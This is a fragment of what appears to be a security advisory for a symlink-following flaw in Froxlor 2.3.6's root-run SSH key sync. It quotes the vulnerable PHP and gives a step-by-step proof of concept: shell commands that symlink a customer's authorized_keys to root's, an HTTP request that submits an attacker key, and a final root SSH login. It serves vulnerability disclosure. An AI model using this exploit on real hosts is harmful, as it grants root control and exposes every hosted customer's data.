+ "details": "### Summary\nFroxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link.\n\nIf an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.\n\n### Details\nThe customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`:\n\n```php\n// customer_ftp.php:251-253\nif ($action == 'add' && Request::post('send') == 'send') {\n $result = $log->logAction(USR_ACTION, LOG_INFO, \"added SSH-key\");\n Commands::get()->apiCall('SshKeys.add', Request::postAll());\n}\n```\n\nOn the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:\n\n```php\n// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145\nif ($this->getUserDetail('shell_allowed') != '1') {\n throw new Exception(\"You cannot add SSH keys because shell access is disabled for your account.\");\n}\n\n$ins_stmt = Database::prepare(\"\n INSERT INTO `\" . TABLE_PANEL_CUSTOMERS_SSH .\"`.\n\");\nSettings::AddTask('rebuildnssusers');\n```\n\nLater, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:52-64\n$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');\n$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');\nif (!file_exists($authkeysfile)) {\n touch($authkeysfile);\n}\n```\n\nThe helper used here only normalizes the path string and does not resolve or reject symlinks:\n\n```php\n// lib/Froxlor/FileDir.php:376-392\npublic static function makeCorrectFile(string $file): string\n{\n $file = str_replace('//', '/', $file);\n $file = str_replace('\\\\', '', $file);\n return $file;\n}\n```\n\nThe root-owned sync code then appends attacker-controlled SSH key material to the derived path:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:94-103\nfile_put_contents($authkeysfile, $userinfo['ssh-rsa'] . \"\\n\", FILE_APPEND | LOCK_EX);\nchown($authkeysfile, $userinfo['uid']);\nchgrp($authkeysfile, $userinfo['gid']);\n```\n\nBecause Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs.\n\n\n### PoC\nAn attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.\n\nRelevant runtime prerequisites:\n\n- the attacker controls a customer-owned home directory on the target host\n- the attacking customer has `shell_allowed=1`\n- the attacker can submit SSH keys through the Froxlor panel\n- Froxlor's master cron runs with the intended root privileges\n\nComplete PoC flow:\n\n1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:\n\n```bash\nmkdir -p ~/.ssh\nrm -f ~/.ssh/authorized_keys\nln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys\n```\n\n2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:\n\n```http\nPOST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\nCookie: <authenticated customer session>\n\ncsrf_token=VALID_CSRF_TOKEN&\nsend=send&\ndescription=poc&\nftpuser=17&\nssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host\n```\n\n3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task.\n4. Use the corresponding private key to authenticate as root:\n\n```bash\nssh -i id_ed25519 root@target.example\n```\n\nResult:\n\n- the root-owned cron task follows the symlinked `authorized_keys` path\n- the submitted public key is appended to `/root/.ssh/authorized_keys`\n- SSH access as `root` succeeds with the attacker's key pair\n\n### Impact\nThis is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.",
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